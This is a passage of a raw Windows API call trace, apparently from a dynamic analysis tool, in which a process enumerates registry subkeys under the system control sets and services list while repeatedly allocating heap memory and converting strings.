[0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.105] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.105] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.105] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.105] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.105] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.106] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.106] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.106] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.106] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.106] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0173.106] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.107] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0173.107] RegCloseKey (hKey=0x9c) returned 0x0 [0173.107] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.107] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.107] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.107] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.107] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.108] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.108] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.108] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.108] RegCloseKey (hKey=0x148) returned 0x0 [0173.108] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0173.108] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.108] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.109] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.109] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.109] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.109] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0173.109] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.110] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.110] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0173.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0173.110] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0173.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", 